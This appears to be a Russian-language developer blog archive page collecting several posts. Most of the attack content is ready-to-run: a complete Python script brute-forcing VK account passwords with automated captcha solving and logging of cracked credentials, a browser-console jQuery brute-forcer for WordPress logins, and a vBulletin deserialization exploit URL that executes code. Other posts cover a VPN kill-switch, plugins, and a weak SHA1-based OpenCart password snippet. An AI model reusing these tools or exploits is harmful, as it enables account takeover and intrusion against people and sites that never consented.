Скрипт для простого перебора вк через мобильную версию

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
import sys,os

cap_key = '' #Ваш ключ с антигейт

def anti(key, file): #Получение решения капчи с антигейт
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print "Завершение"
    except:
        anti(key,file)
def save(url, file): #Скачивание файла по урл
    f = urllib2.urlopen(url)
    f2 = open(file, 'wb')
    f2.write(f.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login,passwords,save):
    o = open(save,'a')
    o2 = open(passwords,'r')

    try:
        int(login)
        prefix = True
    except:
        prefix = False
    g = grab.Grab()
    g.go('http://m.vk.com')

    for i in o2:

        i2 = i.rstrip('\r\n')
        g.doc.set_input('email',login)
        g.doc.set_input('pass',i2)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            c2 = 'http://m.vk.com' + c1
            key = cap_solve(c2)
            g.doc.set_input('email',login)
            g.doc.set_input('pass',i2)
            g.doc.set_input('captcha_key',str(key))
            g.doc.submit()
            print "cap"

        if 'Подтвердить' in g.response.body:
            if prefix:
                prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
                prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)
                pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                pre2 = re.findall('[0-9]{1,}', prefix2)[0]

                login = login.replace(pre1,'')
                login = login.replace(pre2,'')

                g.set_input('code', login)
                g.submit()
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
            else:
                o.write(login + ':' + i2 + '\n')
        else:
            if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
                print login + ':' + i2 + '--fail'
            else:
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
    o.close()
    o2.close()

def main():
    try:
        argv1 = sys.argv[1]
        argv2 = sys.argv[2]
        brute(argv1,argv2,"log.txt")
    except IndexError:
        print "Неправильные параметры"

    except IOError:
        print "Нет такого файла"


if __name__ == "__main__":
    main()

Соединение только через VPN [Linux]

Дропаем прямые соединения если VPN упал (соединение только через VPN):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# запрещаем все входящие и исходящие
iptables -P INPUT DROP
iptables -P OUTPUT DROP

# разрешаем уже установленные соединения и локалхост
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# разрешаем соединения до VPN (VPN_IP заменить на ip вашего VPN сервера)
iptables -A OUTPUT -d VPN_IP -j ACCEPT

# разрешаем любые соединения через VPN
iptables -A OUTPUT -i tun+ -j ACCEPT

WordPress Login form brute force in jQuery

1) Add jQuery:

1
2
3
4
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

2) Create textarea field and paste your passwords list:

1
$('body').prepend('<textarea id="pwds"></textarea>')

3) other part of code just paste and run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var passwords = $('#pwds').val().split(/\r?\n/);

$('#loginform').submit(function(){
    var data = $(this).serialize();
    var pwd = $('#user_pass').val();
    $.post('/wp-login.php', data, function(datas){
        if(!datas.match(/Incorrect password/)){
            console.log('Correct password: '+pwd);
        }
    })
    return false;
});

$.each(passwords, function(k, v){
    $('#user_pass').val(v);
    $('#loginform').submit();
});

Enjoy and be ready to be banned by hoster 😉

Иконки всех покемонов

На «пике» Pokemon Go кто-то захочет украсить свой сайт/документацию иконками этих самих покемонов.
На просторах уже было найдено решение:
1) Скачиваем архив

2) подключаем скрипты в наш проект

1
2
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<link rel="import" href="../poke-icon.html"/>

3) «вызвать» покемона можно либо по номеру, либо по имени

1
2
<poke -icon nr="24"></poke>
<poke -icon name="PIKACHU"></poke>

Continue reading «Иконки всех покемонов»

Portfolio PRO русский язык

DevTech Porfolio
DevTech Porfolio

Использую данный плагин для вывода порфолио вот здесь http://devtech.dp.ua/portfolio/. Из-за частых обновлений слетает перевод, если захардкодить его в самом скрипте. Поэтому решил добить отдельные языковые файлы. Ниже прикреплен архив, который следует распаковать в директорию language плагина.

Continue reading «Portfolio PRO русский язык»

Уведомление если ваши данные слили

Хочу порекомендовать отличный сервис. Был на него подписан с момента запуска, но проявил он себя на прошлой неделе, когда пришло уведомление, что мой e-mail и пароль были слиты в паблик.
Хорошо, что дело шло о вэб-хостинге, которым пользовался в 2006 или 2007 году — 000webhost.
Переходим по ссылке https://rbnhd.com/#check и проверяем свое мыло. Немного ниже можно подписаться на уведомления и если ваши данные утекут в паблик вам об этом сообщат.
Всегда (!) используйте разные и рандомные пароли для разных сервисов.
А программистам рекомендую: солите господа, солите. И никакого md5 😉

Эксплоит под vBulletin [decodeArguments]

В паблик запостили сплойт под vBulletin последних версий. Ниже код пруфа, который выводит phpinfo.
PoC:

1
http://localhost/vbforum/ajax/api[/]hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

via: https://blog.sucuri.net/2015/11/vbulletin-exploits-in-the-wild.html

Игорь Ряписов [ 9998494 ] (кидалово)

Собственно выполнял для этого человека задание. Все пункты, кроме одного были готовы и по этому одному был вопрос. На что получил ответ, что посмотрит в течении 3 часов, но прошло 3 дня. Потом я уже сам ему написал, мол чё да как. Получил ответ — надо подождать, т.к. заказчик пропал. Жду… Прошла неделя, пишу, чтоб решать уже вопрос с оплатой, потому что ждать можно не понятно сколько. Попросил еще подождать. Continue reading «Игорь Ряписов [ 9998494 ] (кидалово)»

Учет времени при разработке [WakaTime]

При разработке, особенно когда вы фрилансер — управление и учет затраченного времени очень важен. Важен для новичков, т.к. поможет в дальнейшем проще проводить оценку проектов с точки зрения времени и соответственно и денежного вознаграждения.
Речь пойдет о плагине под названием WakaTime, который можно внедрить практически в любой, популярный, текстовый редактор и IDE. Нас скрине показаны уже имеющие поддержку и те, которые в ближайших планах на реализацию (выделены серым).
Continue reading «Учет времени при разработке [WakaTime]»

Snippet для сброса пароля в Opencart

Изменения пароля в Opencart с рандомной солью и без использования морально устаревшего MD5 в хэшировании.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$pwd  = 'test'; // change to your password

function rand_func($len, $range){
    $pwd = ""; $size =  count($range)-1;
    for($i=1; $i<=$len; $i++){
        $pwd .= $range[mt_rand(0, $size)];
    }
    return $pwd;
}

$alphnum = array_merge( range('A', 'Z'), range('a', 'z'), range(0, 9));
$salt = rand_func(9, $alphnum);



$hash = SHA1($salt . SHA1($salt . SHA1($pwd)));
echo $pwd,";",$hash,";",$salt;

Уведомление о наборе текста в ВКонтакте

[Dirty Hack]
Работать будет на страницы https://vk.com/im, либо открытого диалога. Писалось под Chrome Console, может кто-то разовьет в приложение или т.п.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// by: Dominus
// CopyLeft
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

function type_checker() {
  if ($('.dialogs_typing_box').height()) {
      var notify = new Notification($('.dialogs_info a', $('.dialogs_typing_box').parent().parent()).text(), {
          icon: $('img', $('.dialogs_typing_box').prev().prev('.dialogs_photo')[0]).attr('src'),
          tag: "vknoty",
          body: "Вам печатает..."
      });
      setTimeout(function() {
          notify.close();
      }, 5000);
  }
}

type_checker();
setInterval( function() {
    type_checker();
}, 5000 );